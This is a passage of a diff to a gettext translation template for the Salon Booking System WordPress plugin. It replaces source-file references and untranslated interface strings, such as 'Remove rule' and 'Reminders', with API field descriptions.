System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1040\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:301\n+msgid \"remaining\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45\n-msgid \"Shop ID.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10\n+msgid \"remember to customize your settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72\n-msgid \"Is all services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:184\n+msgid \"Remember to set the mobile number of your staff members\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:459, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:457, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:459\n-msgid \"From date.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:316\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:316\n+msgid \"Remind the appointment to the client with an Email\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:469, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:469, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:469\n-msgid \"To date.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:146\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:146\n+msgid \"Remind the appointment to the client with an SMS\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:84, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177\n-msgid \"Holiday Rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31\n+msgid \"Reminder: Your booking at \"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, src\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179\n-msgid \"Booking Rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:309\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:309\n+msgid \"Reminders\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143\n-msgid \"Booking statuses.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:367\n+msgid \"Remove\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1417\n-msgid \"Photos of the customer.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96\n+msgid \"Remove rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:849\n-msgid \"Unique identifier for the photo.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332\n+msgid \"Remove this image\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:857\n-msgid \"Url file for the photo.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:234\n+msgid \"Remove this rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:865\n-msgid \"Is default of the photo.\"\n+#. %s Prop name.\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27\n+#, php-format\n+msgid \"Removed customer \\\"%s\\\"\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:873\n-msgid \"Created timestamp of the photo.\"\n+#: 